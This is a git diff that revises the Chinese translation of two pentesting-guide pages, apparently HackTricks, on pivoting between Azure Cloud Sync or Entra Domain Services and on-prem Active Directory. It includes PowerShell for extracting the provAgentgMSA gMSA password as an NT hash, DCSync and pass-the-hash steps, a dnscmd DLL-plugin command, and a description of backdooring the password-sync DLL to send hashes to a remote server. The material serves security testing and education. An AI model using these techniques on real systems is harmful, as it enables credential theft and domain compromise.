diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index 1ca6871ba..a17f620d4 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -2,55 +2,56 @@ {{#include ../../../banners/hacktricks-training.md}} + ## 基本信息 -**Cloud Sync** 基本上是 Azure 用于 **将用户从 AD 同步到 Entra ID** 的新方式。 +**Cloud Sync** 本质上是 Azure 用来 **将用户从 AD 同步到 Entra ID** 的新方式。 -[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync 是 Microsoft 提供的一项新服务，旨在满足和实现您在用户、组和联系人同步到 Microsoft Entra ID 的混合身份目标。它通过使用 Microsoft Entra 云配置代理而不是 Microsoft Entra Connect 应用程序来实现这一点。然而，它可以与 Microsoft Entra Connect Sync 一起使用。 +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync 是 Microsoft 的一项新服务，旨在实现并满足您的混合身份目标，用于将用户、组和联系人同步到 Microsoft Entra ID。它通过使用 Microsoft Entra cloud provisioning agent 而不是 Microsoft Entra Connect 应用来完成此任务。不过，它可以与 Microsoft Entra Connect Sync 一起使用。 ### 生成的主体 -为了使其正常工作，在 Entra ID 和本地目录中创建了一些主体： +为使其工作，会在 Entra ID 和本地目录中创建一些主体： -- 在 Entra ID 中，用户 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) 被创建，角色为 **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`)。 +- 在 Entra ID 中会创建用户 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`)，并分配角色 **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`)。 > [!WARNING] -> 此角色曾经拥有很多特权权限，可以用来 [**提升权限甚至到全局管理员**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。然而，Microsoft 决定移除此角色的所有权限，并仅分配一个新的 **`microsoft.directory/onPremisesSynchronization/standard/read`**，这实际上不允许执行任何特权操作（如修改用户的密码或属性或向 SP 添加新凭据）。 +> This role used to have a lot of privileged permissions and it could be used to [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). However, Microsoft decided to remove all the privileges of this role and assign it just a new one **`microsoft.directory/onPremisesSynchronization/standard/read`** which doesn't really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP). -- 在 Entra ID 中，还创建了没有成员或所有者的组 **`AAD DC Administrators`**。如果使用 [`Microsoft Entra Domain Services`](./az-domain-services.md)，此组非常有用。 +- 在 Entra ID 中还会创建组 **`AAD DC Administrators`**（初始时无成员或所有者）。如果使用 [`Microsoft Entra Domain Services`](./az-domain-services.md)，此组很有用。 -- 在 AD 中，服务帐户 **`provAgentgMSA`** 被创建，SamAccountName 类似于 **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`)，或者需要具有 [**这些权限的自定义帐户**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)。通常会创建默认帐户。 +- 在 AD 中，要么会创建 Service Account **`provAgentgMSA`**，其 SamAcountName 类似 **`pGMSA_$@domain.com`**（`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`），要么使用一个自定义账户（需要 [**这些权限**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)）。通常会创建默认账户。 > [!WARNING] -> 除其他权限外，服务帐户 **`provAgentgMSA`** 拥有 DCSync 权限，允许 **任何人一旦妥协它就能妥协整个目录**。有关 DCSync 的更多信息，请查看 [此处](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。 +> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). > [!NOTE] -> 默认情况下，具有 **`adminCount` 为 1 的已知特权组（如域管理员）的用户出于安全原因不会与 Entra ID 同步。然而，其他没有此属性的特权组成员或直接分配高权限的用户 **可以被同步**。 +> 默认情况下，属于已知特权组（如 Domain Admins）且属性 **`adminCount` 为 1 的用户** 出于安全原因不会被同步到 Entra ID。不过，其他属于特权组但没有该属性的用户，或是直接被赋予高权限的用户，**可以被同步**。 ## 密码同步 -该部分与以下内容非常相似： +The section is very similar to the one from: {{#ref}} az-connect-sync.md {{#endref}} -- **密码哈希同步** 可以启用，以便用户能够 **使用他们在 AD 中的密码登录 Entra ID**。此外，每当在 AD 中修改密码时，它将在 Entra ID 中更新。 -- **密码回写** 也可以启用，允许用户在 Entra ID 中修改他们的密码，并自动同步他们在本地域中的密码。但根据 [当前文档](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback)，这需要使用 Connect Agent，因此请查看 [Az Connect Sync 部分](./az-connect-sync.md) 以获取更多信息。 -- **组回写**：此功能允许 Entra ID 中的组成员资格同步回本地 AD。这意味着如果用户被添加到 Entra ID 中的组，他们也将被添加到 AD 中的相应组。 +- **Password hash synchronization** 可以启用，这样用户就能 **使用 AD 中的密码登录到 Entra ID**。此外，每当 AD 中的密码被修改时，也会在 Entra ID 中更新。 +- **Password writeback** 也可以启用，允许用户在 Entra ID 中修改其密码并自动将密码同步回本地域。但根据 [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback)，这需要使用 Connect Agent，因此请查看 [Az Connect Sync section](./az-connect-sync.md) 以获取更多信息。 +- **Groups writeback**：此功能允许将 Entra ID 的组成员关系同步回本地 AD。这意味着如果在 Entra ID 中将某用户添加到某组，他们也会被添加到 AD 中对应的组。 -## 侧向移动 +## Pivoting ### AD --> Entra ID -- 如果 AD 用户正在从 AD 同步到 Entra ID，则从 AD 到 Entra ID 的侧向移动是直接的，只需 **妥协某个用户的密码或更改某个用户的密码，或创建一个新用户并等待它同步到 Entra ID 目录（通常只需几分钟）**。 +- 如果 AD 用户正在从 AD 同步到 Entra ID，那么从 AD 到 Entra ID 的 pivoting 非常直接，只需 **compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins)**。 -例如，您可以： -- 妥协 **`provAgentgMSA`** 帐户，执行 DCSync 攻击，破解某个用户的密码，然后用它登录 Entra ID。 -- 只需在 AD 中创建一个新用户，等待它同步到 Entra ID，然后用它登录 Entra ID。 -- 修改 AD 中某个用户的密码，等待它同步到 Entra ID，然后用它登录 Entra ID。 +例如，你可以： +- Compromise the **`provAgentgMSA`** account，执行 DCSync 攻击，破解某个用户的密码，然后使用该密码登录到 Entra ID。 +- 直接在 AD 中创建一个新用户，等待其同步到 Entra ID，然后使用该用户登录到 Entra ID。 +- 修改 AD 中某用户的密码，等待其同步到 Entra ID，然后使用该密码登录到 Entra ID。 -要妥协 **`provAgentgMSA`** 凭据： +To compromise the **`provAgentgMSA`** credentials: ```powershell # Enumerate provAgentgMSA account Get-ADServiceAccount -Filter * -Server domain.local @@ -72,22 +73,18 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_$ -Properties msDS-Man $decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword ``` -现在您可以使用 gMSA 的哈希值对 Entra ID 执行 Pass-the-Hash 攻击，使用 `provAgentgMSA` 账户并保持持久性，从而能够对 AD 执行 DCSync 攻击。 +现在你可以使用 gMSA 的 hash 对 Entra ID 发动 Pass-the-Hash 攻击，使用 `provAgentgMSA` 帐户并保持持久性，从而能够对 AD 执行 DCSync 攻击。 -有关如何破坏 Active Directory 的更多信息，请查看： +For more information about how to compromise an Active Directory check: {{#ref}} https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html {{#endref}} > [!NOTE] -> 请注意，无法根据其属性为同步用户在 Cloud Sync 配置中授予 Azure 或 EntraID 角色。然而，为了自动授予同步用户权限，某些 **来自 AD 的 Entra ID 组** 可能会被授予权限，因此这些组内的同步用户也会接收到这些权限，或者 **可以使用动态组**，因此始终检查动态规则和潜在的滥用方式： +> 注意：在 Cloud Sync 配置中，无法根据属性为已同步用户分配 Azure 或 EntraID 角色。不过，为了自动授予已同步用户权限，某些 **Entra ID groups from AD** 可能会被赋予权限，使这些组内的已同步用户也获得这些权限，或者可能使用 **dynamic groups**，因此应始终检查动态规则及其潜在滥用方式： -{{#ref}} -../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md -{{#endref}} - -关于持久性，[这篇博客文章](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) 建议可以使用 [**dnSpy**](https://github.com/dnSpy/dnSpy) 来后门 **`Microsoft.Online.Passwordsynchronisation.dll`**，该文件位于 **`C:\Program Files\Microsoft Azure AD Sync\Bin`**，由 Cloud Sync 代理使用以执行密码同步，使其将被同步用户的密码哈希导出到远程服务器。哈希是在 **`PasswordHashGenerator`** 类内部生成的，博客文章建议添加一些代码，使该类看起来像（注意 `use System.Net` 和 `WebClient` 的使用以导出密码哈希）： +Regarding persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes): ```csharp using System; using System.Net; @@ -121,22 +118,19 @@ RawHash = passwordHashData.RawHash } } ``` -NuGet 包恢复失败，项目 AzTokenFinder：无法找到包 'System.Security.Cryptography.X509Certificates' 的版本 '4.3.2'。 -C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: 在源 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' 中未找到包 'System.Security.Cryptography.X509Certificates.4.3.2'。 -请查看错误列表窗口以获取详细的警告和错误。 - ### Entra ID --> AD -- 如果启用了 **Password Writeback**，您可以从 Entra ID 修改某些用户的密码，如果您可以访问 AD 网络，则可以使用这些密码进行连接。有关更多信息，请查看 [Az Connect Sync section](./az-connect-sync.md) 部分，因为密码写回是通过该代理配置的。 +- 如果启用了 **Password Writeback**，你可以修改部分用户在 Entra ID 的密码；如果你能访问目标 AD 网络，就可以使用这些凭据进行连接。更多信息请查看 [Az Connect Sync section](./az-connect-sync.md) 一节，因为 Password Writeback 是通过该 agent 配置的。 -- 此时，Cloud Sync 还允许 **"Microsoft Entra ID to AD"**，但经过一段时间后我发现它无法将 EntraID 用户同步到 AD，并且它只能同步与密码哈希同步的 EntraID 用户，这些用户来自与我们正在同步的域属于同一域林的域，正如您在 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) 中所读到的： +- 目前 Cloud Sync 也支持 **"Microsoft Entra ID to AD"**，但经过长期观察我发现它实际上不能将 EntraID 用户同步到 AD，它只能同步那些在 EntraID 中已用密码哈希同步过并且来自与要同步到的域属于同一域林的域的用户，如你可以在 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) 看到： -> - 这些组只能包含本地同步的用户和/或额外的云创建的安全组。 -> - 被同步的本地用户帐户和此云创建的安全组的成员，可以来自同一域或跨域，但它们必须来自同一林。 +> - 这些组只能包含本地已同步的用户和/或额外由云创建的安全组。 +> - 这些本地已同步且属于该云创建安全组的用户帐户，可以来自同一域或跨域，但它们必须都来自同一林。 -因此，该服务的攻击面（和实用性）大大降低，因为攻击者需要破坏初始 AD，才能破坏其他域中的用户（而且这两个域显然必须在同一林中）。 +因此该服务的攻击面（以及可用性）大幅降低，因为攻击者需要先妥协作为用户同步来源的初始 AD，才能妥协另一个域中的用户（并且显然两者必须位于同一林）。 -### Enumeration + +### 枚举 ```bash # Check for the gMSA SA Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md index d9a90553d..9415e4f04 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -6,23 +6,23 @@ Microsoft Entra Domain Services 允许在 Azure 中部署 Active Directory，而无需管理 Domain Controllers（实际上你甚至无法访问它们）。 -其主要目的是允许你在云中运行无法使用现代身份验证方法的遗留应用，或在你不希望目录查找总是回到本地 on-premises AD DS 环境时使用。 +其主要目标是允许你在云中运行无法使用现代认证方法的遗留应用，或在你不希望目录查找总是回到本地 AD DS 环境的场景。 -请注意，为了将 Entra ID 中生成的用户（而非从其他 Active Directory 同步过来的用户）同步到 AD domain service，你需要将该用户的密码**更改为新密码**，以便可以与新的 AD 同步。实际上，用户在更改密码之前不会从 Microsoft Entra ID 同步到 Domain Services。 +Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to **change the password of the user** to a new one so it can be synchronized with the new AD. Actually, the user isn't synchronized from Microsoft Entra ID to Domain Services until the password is changed. > [!WARNING] -> 即使你正在创建一个新的 active directory 域，你也无法对其进行完全管理（除非利用某些错误配置），这意味着默认情况下例如你不能直接在 AD 中创建用户。你需要通过 **从 Entra ID 同步用户** 来创建它们。你可以选择同步所有用户（即使是从其他 on-premise AD 同步过来的），仅同步云用户（在 Entra ID 中创建的用户），或者甚至**对它们进行更多筛选**。 +> 即使你创建了一个新的 active directory 域，你也无法完全管理它（除非利用某些错误配置），这意味着默认情况下例如你不能直接在 AD 中创建用户。你需要通过 **从 Entra ID 同步用户** 来创建它们。你可以选择同步所有用户（即便是那些从其他 on-premise AD 同步过来的）、仅同步云用户（在 Entra ID 中创建的用户），或者甚至 **进一步筛选**。 > [!NOTE] -> 一般来说，由于对新域配置的灵活性较差且 AD 通常已经存在于本地，这并不是 Entra ID 与 AD 之间的主要集成方式，但了解如何攻陷它仍然很有意义。 +> 总体来说，由于对新域的配置缺乏灵活性，且 AD 通常已经部署在本地，这并不是 Entra ID 与 AD 之间的主要集成方式，但了解如何攻破它仍然很有趣。 ### Pivoting -生成的 **`AAD DC Administrators`** 组的成员在加入该托管域的域关联 VM 上被授予本地管理员权限（但不包括 domain controllers），因为他们被添加到了本地 administrators 组。该组的成员还可以使用 **远程桌面 (Remote Desktop) 远程连接到域关联的 VM**，并且也是以下组的成员： +生成的 **`AAD DC Administrators`** 组的成员在加入到托管域的域联接 VM 上被授予本地管理员权限（但在域控制器上除外），因为他们被添加到本地 administrators 组。该组的成员还可以使用 **Remote Desktop 远程连接到域联接的 VM**，并且他们还是以下组的成员： -- **`Denied RODC Password Replication Group`**：这是一个指定哪些用户和组的密码不能在 RODCs（Read-Only Domain Controllers）上缓存的组。 -- **`Group Policy Creators Owners`**：该组允许成员在域中创建 Group Policies。然而，其成员无法将组策略应用于用户或组，也不能编辑现有的 GPO，所以在此环境中并不是特别有趣。 -- **`DnsAdmins`**：该组允许管理 DNS 设置，过去曾被滥用以[提升权限并攻陷域](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)，但在对该环境中的攻击进行测试后，已确认该漏洞已被修补： +- **`Denied RODC Password Replication Group`**: 这是一个指定哪些用户和组的密码不能在 RODC（Read-Only Domain Controllers）上缓存的组。 +- **`Group Policy Creators Owners`**: 该组允许成员在域中创建 Group Policies。不过，其成员不能将组策略应用到用户或组，也不能编辑现有的 GPO，因此在此环境中并不太有用。 +- **`DnsAdmins`**: 该组允许管理 DNS 设置，过去曾被滥用以 [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)，但在本环境中测试该攻击后，发现该漏洞已被修补： ```text dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll @@ -30,22 +30,21 @@ DNS Server failed to reset registry property. Status = 5 (0x00000005) Command failed: ERROR_ACCESS_DENIED 5 0x5 ``` -Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**. +Note that to grant these permissions, inside the AD, the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**. -注意：为赋予这些权限，在 AD 内，组 **`AAD DC Administrators`** 被加入到前述的各个组中；同时 GPO **`AADDC Computers GPO`** 会将域组 **`AAD DC Administrators`** 的所有成员添加为 Local Administrators。 +注意，为了授予这些权限，在 AD 内，组 **`AAD DC Administrators`** 被加入到先前的组中，且 GPO **`AADDC Computers GPO`** 将域组 **`AAD DC Administrators`** 的所有成员添加为本地管理员。 Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.** -Pivoting from Entra ID 到使用 Domain Services 创建的 AD 是很直接的，只需将一个用户加入组 **`AAD DC Administrators`**，通过 RDP 访问域内任意/所有机器，就可以窃取数据并且能够 **compromise the domain.** +从 Entra ID 横向移动到使用 Domain Services 创建的 AD 很简单，只需将用户添加到组 **`AAD DC Administrators`**，通过 RDP 访问域中的任意/所有机器，就能窃取数据并且能够 **compromise the domain.** -However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure. +However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure. -然而，从 domain 向 Entra ID 进行 pivoting 并不容易，因为 domain 中的内容并未同步到 Entra ID。不过，始终检查所有已加入的 VMs 的 metadata，因为它们被分配的 managed identities 可能拥有有趣的权限。此外，**dump all the users passwords from the domain** 并尝试 crack 它们，然后登录到 Entra ID / Azure。 +然而，从域向 Entra ID 横向移动并不容易，因为域中的内容并不会同步到 Entra ID。不过，务必检查所有已加入 VMs 的元数据，因为其分配的 managed identities 可能具有有趣的权限。另外，**dump all the users passwords from the domain** 并尝试破解这些密码，然后登录 Entra ID / Azure。 > [!NOTE] > Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it. -> -> 需要注意的是，过去在这个 managed AD 中发现过其他漏洞，允许 compromise the DCs，例如 [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。攻击者一旦 compromise the DC，就很容易保持 persistence，而 Azure admins 可能不会注意到，甚至无法将其移除。 +> 请注意，过去在该 managed AD 中发现过其他漏洞，这些漏洞允许 compromise the DCs， [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。攻击者一旦 compromising the DC，就可以非常容易地保持持久性，而 Azure 管理员可能不会注意到甚至无法将其移除。 ### Enumeration ```bash